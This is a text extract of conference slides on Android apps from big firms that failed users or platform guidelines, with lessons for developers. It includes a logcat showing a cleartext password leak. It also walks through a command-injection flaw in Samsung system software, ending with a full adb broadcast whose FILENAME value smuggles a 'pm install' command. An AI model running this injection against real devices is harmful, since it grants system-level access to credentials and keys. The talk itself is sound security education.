Slides with speaker notes can be found here: http://bit.ly/andbigfails
Microsoft, Facebook, Yahoo, ... They are huge firms that are also big Android editors. During this presentation we will discover together the stories of big editors that published apps on the PlayStore (or not) that failed to satisfiy the users or the Android guidelines. To learn from their mistakes.
6. MINIMISE PERMISSIONS
Users should
prefer apps
requesting the
least
permissions
Request only what your app
requires
1/3 of apps request more permissions
than they need
11. MINIMISE PERMISSIONS
Start the contact app
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType(Phone.CONTENT_ITEM_TYPE);
startActivityForResult(intent, MY_REQUEST_CODE);
void onActivityResult(int requestCode, int resultCode, Intent
data) {
if (data != null) {
Uri uri = data.getData();
if (uri != null) {
Cursor c = getContentResolver().query(uri, new String[]
{Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);}
}
}
}
12. MINIMISE PERMISSIONS
Start the contact app
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType(Phone.CONTENT_ITEM_TYPE);
startActivityForResult(intent, MY_REQUEST_CODE);
void onActivityResult(int requestCode, int resultCode, Intent
data) {
if (data != null) {
Uri uri = data.getData();
if (uri != null) {
Cursor c = getContentResolver().query(uri, new String[]
{Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);}
}
}
}
Handle the result
19. MINIMISE PERMISSIONS
Android Backup API
· API is available on all Android devices.
· Manufacturors can implements their own
transport and storage for the API
· Each device as its own backup data
· A new device will take a backup from a device
associated with your google account.
· IT'S NOT A SYNC API !
50. XBOX MUSIC
<
>
“You should not use this element”
It can dramatically reduce the potential user base
for your application
compatible-screens
“Use it only as a last resort”
When the application absolutely does not work
with specific screen configurations
“Instead, follow the guide to
Supporting Multiple Screens”
56. XBOX MUSIC
The
Mistakes
Have they tested on new devices?
Ignoring the power users
Brand new devices are bought by power users
and early adopters
Does not support preloading
music
The app is not prefectly opimized for mobility.
Why ignoring nomad devices like tablets?
66. MICROSOFT OFFICE
Fight the
confusion
Office 365 offer is quite confusing
People used to buy Office licenses, not to
subscribe to an Office service
They try to avoid confusion
70. MICROSOFT OFFICE
Does not support tablet format
Problem
A producting app has to be compatible with big
screens formats
71. MICROSOFT OFFICE
Does not support tablet format
Problem
A producting app has to be compatible with big
screens formats
- The app is optimized for a phone
- On tablet, you can use the Office Webapps
- We plan to enable editing with Webapps
Microsoft’s answer on PlayStore
72. MICROSOFT OFFICE
Other
problems
Less features than the competitors
Does not support local files
Does not support edition
The backend seems not very ready
I have been stuck during 24 hours at the mobile
activation, and I’m not alone
73. MICROSOFT OFFICE
Adapt your UI to screen sizes
depending on your features
Conclusion
Differenciate your service from
competitors
Especially when you are new on the market
Your backend have to support
your mobile distribution
80. MICROSOFT OFFICE
Don’t do
this
Why scaring 100% of your users?
To use a feature with 38% of them
Avoid using deprecated functions
As much as possible
93. YAHOO WEATHER
When do
you check
the
weather?
Morning?
- Choosing your clothes
- Eating your breakfast
- Checking your emails
- Looking after your kids
94. YAHOO WEATHER
When do
you check
the
weather?
Morning?
- Choosing your clothes
- Eating your breakfast
- Checking your emails
- Looking after your kids
This is multitasking!
102. FACEBOOK
Under the
hood
Too much methods
LinearAlloc buffer overflow
March 2013
Solution is to divide the code into
several dex files
And load it on demand
103. FACEBOOK
Under the
hood
March 2013
Facebook app source code was not
enough modular to allow this at
application level
“Too many of our classes are accessed directly by
the Android framework”
They had to do it at system level,
thanks to reflection
“We needed to inject our secondary dex files
directly into the system class loader”
106. FACEBOOK
Android source code - DexPathList.java
Commit January 2013
/**
* List of dex/resource (class path) elements.
* Should be called pathElements, but the Facebook app uses reflection
* to modify 'dexElements' (http://b/7726934).
*/
private final Element[] dexElements;
107. FACEBOOK
Android code review
January 2013
Patch set 2
lets facebook start (at least judging by logcat output)
After manual testing
facebook starts, though i don't have an account.
110. FACEBOOK
In a
nutshell
Modularity saves lifes
Google seems to test some popular
apps during integration
So they don’t break the system apps
Google hires engineers when
Facebook hires sculptors
Inspired by Sayo Oladeji
122. FACEBOOK HOME
Conclusion
Keep the platform spirit
To override native OS elements you need first to
implement all the basic features the user use to use
Identify your weakest points
And prepare how to limit their impact
125. CANAL+ TOUCH
This is the logcat
Request: https://canalURL.com/1.5/getThmChannel.php...
Request: https://canalURL.com/1.5/getProgramThm.php...
Request: https://canalURL.com/1.4/programRediff.php...
Request: https://canalURL.com/1.5/VOD.php?release=1...
json response : {"token":{"url":"http://download....
Request: https://canalURL.com/1.4/getChannel.php?SE...
json response: {"token":{"url":"https://canalURL....
Request: https://canalURL.com/1.5/guideTvChannel.ph...
Request: https://canalURL.com/1.5/programInfo.php?U...
Request: https://canalURL.com/1.5/myTv.php?release=...
126. CANAL+ TOUCH
Chatty logs
Make reverse engineering easier
HTTPS connexion
PHP backend
All the URLS and parameters are known
Some of the response are known too
128. CANAL+ TOUCH
This is always the logcat
https://canalURL.com/1.5/authentification.php?
login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...
129. CANAL+ TOUCH
This is always the logcat
Wait
login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...
WHAT ?!
https://canalURL.com/1.5/authentification.php?
130. CANAL+ TOUCH
Shut the
fuck up!
Control your log output
Easy method with BuildConfig.DEBUG
Never send clear password over
the network
NEVAAAAAAA!!!!
131. CANAL+ TOUCH
public static final boolean SHOW_LOG = BuildConfig.DEBUG;
public static void d(final String tag, final String msg) {
if (SHOW_LOG)
Log.d(tag, msg);
}
Avoid the leak, easily
132. CANAL+ TOUCH
public static final boolean SHOW_LOG = BuildConfig.DEBUG;
public static void d(final String tag, final String msg) {
if (SHOW_LOG)
Log.d(tag, msg);
}
Avoid the leak, easily
And test it during QA
139. OEM SOFTWARE
The results
on Samsung
devices
12 vulnerabilities found
Leak personal information
Access non-permited features
Silent SMS control
Code injection
...
Similar vulnerabilities on many
constructors
149. OEM SOFTWARE
public void onReceive(Context paramContext, Intent
paramIntent) {
String str1 = paramIntent.getAction();
if (str1.equals("com.android.sec.FTAT_DUMP"))
{
String str3 = "FTAT_" +
paramIntent.getStringExtra("FILENAME");
[...]
String str9 = str8 + [...]
Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);
localIntent2.putExtra("FILENAME", str9);
paramContext.startService(localIntent2);
}
[...]
}
Prepares an intent to FTATDumpService
150. OEM SOFTWARE
public void onReceive(Context paramContext, Intent
paramIntent) {
String str1 = paramIntent.getAction();
if (str1.equals("com.android.sec.FTAT_DUMP"))
{
String str3 = "FTAT_" +
paramIntent.getStringExtra("FILENAME");
[...]
String str9 = str8 + [...]
Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);
localIntent2.putExtra("FILENAME", str9);
paramContext.startService(localIntent2);
}
[...]
}
Adds the final string to the intent
151. OEM SOFTWARE
public void onReceive(Context paramContext, Intent
paramIntent) {
String str1 = paramIntent.getAction();
if (str1.equals("com.android.sec.FTAT_DUMP"))
{
String str3 = "FTAT_" +
paramIntent.getStringExtra("FILENAME");
[...]
String str9 = str8 + [...]
Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);
localIntent2.putExtra("FILENAME", str9);
paramContext.startService(localIntent2);
}
[...]
}
Starts the FTATDumpService with our
FILENAME parameter as extra
152. OEM SOFTWARE
public int onStartCommand(Intent paramIntent, ...){
final String str = paramIntent.getStringExtra("FILENAME");
[...]
new Thread(new Runnable(){
public void run(){
[...]
if(FTATDumpService.this.
DoShellCmd("dumpstate > /data/log/" + str + ".log"))
FTATDumpService.this.mHandler.sendEmptyMessage(1015);
[...]
}
}).start();
return 0;
}
We read then the FTATDumpService source code
153. OEM SOFTWARE
public int onStartCommand(Intent paramIntent, ...){
final String str = paramIntent.getStringExtra("FILENAME");
[...]
new Thread(new Runnable(){
public void run(){
[...]
if(FTATDumpService.this.
DoShellCmd("dumpstate > /data/log/" + str + ".log"))
FTATDumpService.this.mHandler.sendEmptyMessage(1015);
[...]
}
}).start();
return 0;
}
Extracts the FILENAME extra to str
154. OEM SOFTWARE
public int onStartCommand(Intent paramIntent, ...){
final String str = paramIntent.getStringExtra("FILENAME");
[...]
new Thread(new Runnable(){
public void run(){
[...]
if(FTATDumpService.this.
DoShellCmd("dumpstate > /data/log/" + str + ".log"))
FTATDumpService.this.mHandler.sendEmptyMessage(1015);
[...]
}
}).start();
return 0;
}
Opens and starts a new thread
155. OEM SOFTWARE
public int onStartCommand(Intent paramIntent, ...){
final String str = paramIntent.getStringExtra("FILENAME");
[...]
new Thread(new Runnable(){
public void run(){
[...]
if(FTATDumpService.this.
DoShellCmd("dumpstate > /data/log/" + str + ".log"))
FTATDumpService.this.mHandler.sendEmptyMessage(1015);
[...]
}
}).start();
return 0;
}
Seems to “do a shell command” with our
FILENAME parameter concatenated
156. OEM SOFTWARE
private boolean DoShellCmd(String paramString){
[...]
String[] arrayOfString = new String[3];
arrayOfString[0] = "/system/bin/sh";
arrayOfString[1] = "-c";
arrayOfString[2] = paramString;
[...]
Runtime.getRuntime().exec(arrayOfString).waitFor();
[...]
return true;
}
This is DoShellCmd function
157. OEM SOFTWARE
private boolean DoShellCmd(String paramString){
[...]
String[] arrayOfString = new String[3];
arrayOfString[0] = "/system/bin/sh";
arrayOfString[1] = "-c";
arrayOfString[2] = paramString;
[...]
Runtime.getRuntime().exec(arrayOfString).waitFor();
[...]
return true;
}
And runs it
Creates a shell command
158. OEM SOFTWARE
private boolean DoShellCmd(String paramString){
[...]
String[] arrayOfString = new String[3];
arrayOfString[0] = "/system/bin/sh";
arrayOfString[1] = "-c";
arrayOfString[2] = paramString;
[...]
Runtime.getRuntime().exec(arrayOfString).waitFor();
[...]
return true;
}
And our FILENAME parameter is still not modified
159. OEM SOFTWARE
private boolean DoShellCmd(String paramString){
[...]
String[] arrayOfString = new String[3];
arrayOfString[0] = "/system/bin/sh";
arrayOfString[1] = "-c";
arrayOfString[2] = paramString;
[...]
Runtime.getRuntime().exec(arrayOfString).waitFor();
[...]
return true;
}
BINGO!
And our FILENAME parameter is still not modified
160. OEM SOFTWARE
Access to
All permissions declared by
system apps
156 for this case
All files belonging to system user
Wifi keys
Password, PIN, gesture storage
...
161. OEM SOFTWARE
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk;
#'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has
extras) }
Broadcast completed : result=0
A simple broadcast for FTAT_DUMP action
162. OEM SOFTWARE
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk;
#'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has
extras) }
Broadcast completed : result=0
We declare the FILENAME argument
163. OEM SOFTWARE
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk;
#'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has
extras) }
Broadcast completed : result=0
We point the destination file to null
164. OEM SOFTWARE
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk;
#'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has
extras) }
Broadcast completed : result=0
We execute our system command
166. OEM SOFTWARE
Moral of
the story
It happens at application level
Look after your app’s backdoors
Don’t export local services
Use a strict permission model
Consider every input as a threat
Escape all sensitive parameters you receive
167.
168. Thank You for your time !
SLIDES
http://bit.ly/andbigfails
http://eyal.fr